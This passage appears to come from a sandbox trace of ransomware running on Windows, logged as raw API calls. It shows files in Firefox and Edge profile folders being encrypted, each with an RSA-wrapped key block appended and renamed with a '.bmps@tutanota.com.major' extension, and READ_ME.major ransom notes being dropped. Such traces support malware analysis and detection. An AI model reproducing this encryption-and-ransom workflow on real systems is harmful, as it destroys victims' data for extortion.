nNumberOfBytesToWrite=0x478118, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x39d5020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x478118, lpOverlapped=0x0) returned 1 [0243.642] SetFilePointer (in: hFile=0x1a58, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x478118 [0243.642] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0243.642] WriteFile (in: hFile=0x1a58, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0243.642] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0243.642] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0243.642] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0243.642] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="CdHu42LHalvvZnEnwXw11Szm2EphbJDaQ2Ss149hsALx9VvOEqrpXeWs14g/Od14\nNkUx0eDF0cK9faPgzfzWDqYA07g4k9fiRqfzEfW94ZpKxZsSCx8i2EDV2SpuiIzx\nBA2nylRMR9PuJookFw7ZbAnPG0Yaj0yNE1pvqwXzOFfmxTdynbFpItAvv/1V4FVS\nEYaCANyGZBxtjuUs1PbuellAUbAgvkHQfAKRtg9xRcGu82dqSeB+Jj4/L7Fn+vxS\n37ciPBb2I34K7TMBssfa4ZJmIjnbKdG7se3zxJHEdMdoVq5LTQ1z66AEOX4pL6fD\n6aFI/BrZOaAAtb7X3pE5Bg==\n", pcchString=0x2e3f9a8) returned 1 [0243.642] WriteFile (in: hFile=0x1a58, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0243.642] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0243.642] WriteFile (in: hFile=0x1a58, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0243.642] CloseHandle (hObject=0x1a58) returned 1 [0243.643] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0243.657] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0243.657] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", dwFileAttributes=0x80) returned 1 [0243.658] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a58 [0243.658] GetFileSizeEx (in: hFile=0x1a58, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1021124) returned 1 [0243.659] ReadFile (in: hFile=0x1a58, lpBuffer=0x678020, nNumberOfBytesToRead=0xf94c4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x678020*, lpNumberOfBytesRead=0x2e3f9b4*=0xf94c4, lpOverlapped=0x0) returned 1 [0243.699] SetFilePointer (in: hFile=0x1a58, lDistanceToMove=-1021124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.699] WriteFile (in: hFile=0x1a58, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf94c4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf94c4, lpOverlapped=0x0) returned 1 [0243.701] SetFilePointer (in: hFile=0x1a58, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf94c4 [0243.701] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0243.701] WriteFile (in: hFile=0x1a58, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0243.701] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0243.702] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0243.702] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0243.702] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sMhw7jBLRiNC9x94efRf7lK8nQ+angMLBiof1nf7g0CdCYs54tdFbBxTnKsMEFDz\n2Mj915E2F2hi+lxom/Fcl/s0keuaapFtxq7viZqmai/ciBfl9rXKRAfaoD3yu3mC\nvubTB4QMxmF8DbT2NuoyrvQFD4ODcgwo2hmGHHP88/sN+6R3PkJ2V2ewbROl4DB7\n1065rsu4teb1QaNHz+0YvtYbphEERCDgDWPu6SorIUgsIvtre50NWIXbmFiYLqQx\naQCOyFLDvlJbOOgtojtJuG/K0B4hG/ou1Ezv1P8xF3zN8zQKJvOWz1ayak1mwLaB\ndedF/oLKMZS65vIjeMahEQ==\n", pcchString=0x2e3f9a8) returned 1 [0243.702] WriteFile (in: hFile=0x1a58, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0243.702] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0243.702] WriteFile (in: hFile=0x1a58, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0243.702] CloseHandle (hObject=0x1a58) returned 1 [0243.702] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0243.704] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3b5dfb9b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34fa0 [0243.704] SetLastError (dwErrCode=0x0) [0243.704] GetLastError () returned 0x0 [0243.704] SetLastError (dwErrCode=0x0) [0243.704] GetLastError () returned 0x0 [0243.704] SetLastError (dwErrCode=0x0) [0243.704] FindNextFileW (in: hFindFile=0x2f34fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3b5dfb9b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0243.704] SetLastError (dwErrCode=0x0) [0243.704] GetLastError () returned 0x0 [0243.704] SetLastError (dwErrCode=0x0) [0243.704] GetLastError () returned 0x0 [0243.705] SetLastError (dwErrCode=0x0) [0243.705] FindNextFileW (in: hFindFile=0x2f34fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b5dfb9b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b5dfb9b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b5dfb9b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0243.705] SetLastError (dwErrCode=0x0) [0243.705] GetLastError () returned 0x0 [0243.705] SetLastError (dwErrCode=0x0) [0243.705] GetLastError () returned 0x0 [0243.705] SetLastError (dwErrCode=0x0) [0243.705] FindNextFileW (in: hFindFile=0x2f34fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b5dfb9b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b5dfb9b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b5dfb9b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0243.705] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfa79661, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34ea0 [0243.705] SetLastError (dwErrCode=0x12) [0243.705] GetLastError () returned 0x12 [0243.705] SetLastError (dwErrCode=0x12) [0243.705] GetLastError () returned 0x12 [0243.705] SetLastError (dwErrCode=0x12) [0243.705] FindNextFileW (in: hFindFile=0x2f34ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfa79661, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0243.705] SetLastError (dwErrCode=0x12) [0243.705] GetLastError () returned 0x12 [0243.705] SetLastError (dwErrCode=0x12) [0243.705] GetLastError () returned 0x12 [0243.706] SetLastError (dwErrCode=0x12) [0243.706] FindNextFileW (in: hFindFile=0x2f34ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bbf0e99, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bbf0e99, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0243.706] SetLastError (dwErrCode=0x12) [0243.706] GetLastError () returned 0x12 [0243.706] SetLastError (dwErrCode=0x12) [0243.706] SetLastError (dwErrCode=0x12) [0243.706] FindNextFileW (in: hFindFile=0x2f34ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bbf0e99, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bbf0e99, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0243.706] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfa79661, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34fe0 [0243.706] SetLastError (dwErrCode=0x12) [0243.706] GetLastError () returned 0x12 [0243.706] SetLastError (dwErrCode=0x12) [0243.706] SetLastError (dwErrCode=0x12) [0243.706] FindNextFileW (in: hFindFile=0x2f34fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfa79661, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0243.706] SetLastError (dwErrCode=0x12) [0243.706] GetLastError () returned 0x12 [0243.706] SetLastError (dwErrCode=0x12) [0243.706] SetLastError (dwErrCode=0x12) [0243.706] FindNextFileW (in: hFindFile=0x2f34fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bbf0e99, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bbf0e99, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0243.707] SetLastError (dwErrCode=0x12) [0243.707] GetLastError () returned 0x12 [0243.707] SetLastError (dwErrCode=0x12) [0243.707] SetLastError (dwErrCode=0x12) [0243.707] FindNextFileW (in: hFindFile=0x2f34fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bbf0e99, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bbf0e99, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0243.707] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfa79661, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34a20 [0243.707] SetLastError (dwErrCode=0x12) [0243.707] GetLastError () returned 0x12 [0243.707] SetLastError (dwErrCode=0x12) [0243.707] SetLastError (dwErrCode=0x12) [0243.707] FindNextFileW (in: hFindFile=0x2f34a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfa79661, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0243.707] SetLastError (dwErrCode=0x12) [0243.707] GetLastError () returned 0x12 [0243.707] SetLastError (dwErrCode=0x12) [0243.707] SetLastError (dwErrCode=0x12) [0243.707] FindNextFileW (in: hFindFile=0x2f34a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bbf0e99, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bbf0e99, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0243.707] SetLastError (dwErrCode=0x12) [0243.707] GetLastError () returned 0x12 [0243.707] SetLastError (dwErrCode=0x12) [0243.708] SetLastError (dwErrCode=0x12) [0243.708] FindNextFileW (in: hFindFile=0x2f34a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bbf0e99, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bbf0e99, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0243.708] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34a60 [0243.708] SetLastError (dwErrCode=0x12) [0243.708] GetLastError () returned 0x12 [0243.708] SetLastError (dwErrCode=0x12) [0243.708] GetLastError () returned 0x12 [0243.708] SetLastError (dwErrCode=0x12) [0243.708] FindNextFileW (in: hFindFile=0x2f34a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0243.708] SetLastError (dwErrCode=0x12) [0243.708] GetLastError () returned 0x12 [0243.708] SetLastError (dwErrCode=0x12) [0243.708] SetLastError (dwErrCode=0x12) [0243.708] FindNextFileW (in: hFindFile=0x2f34a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bbf0e99, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bbf0e99, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bbf0e99, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0243.708] SetLastError (dwErrCode=0x12) [0243.709] GetLastError () returned 0x12 [0243.709] SetLastError (dwErrCode=0x12) [0243.709] SetLastError (dwErrCode=0x12) [0243.709] FindNextFileW (in: hFindFile=0x2f34a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5775632, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 1 [0243.709] SetLastError (dwErrCode=0x12) [0243.709] GetLastError () returned 0x12 [0243.709] SetLastError (dwErrCode=0x12) [0243.709] SetLastError (dwErrCode=0x12) [0243.709] SetLastError (dwErrCode=0x12) [0243.709] GetLastError () returned 0x12 [0243.709] SetLastError (dwErrCode=0x12) [0243.709] GetLastError () returned 0x12 [0243.709] SetLastError (dwErrCode=0x12) [0243.709] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\roottools\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a6c [0243.711] WriteFile (in: hFile=0x1a6c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0243.711] CloseHandle (hObject=0x1a6c) returned 1 [0243.711] FindNextFileW (in: hFindFile=0x2f34a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5775632, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 0 [0243.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668818 [0243.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6684b8 | out: hHeap=0x570000) returned 1 [0243.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669598 | out: hHeap=0x570000) returned 1 [0243.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656b50 | out: hHeap=0x570000) returned 1 [0243.712] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9d06badc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34ae0 [0243.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0243.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0243.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 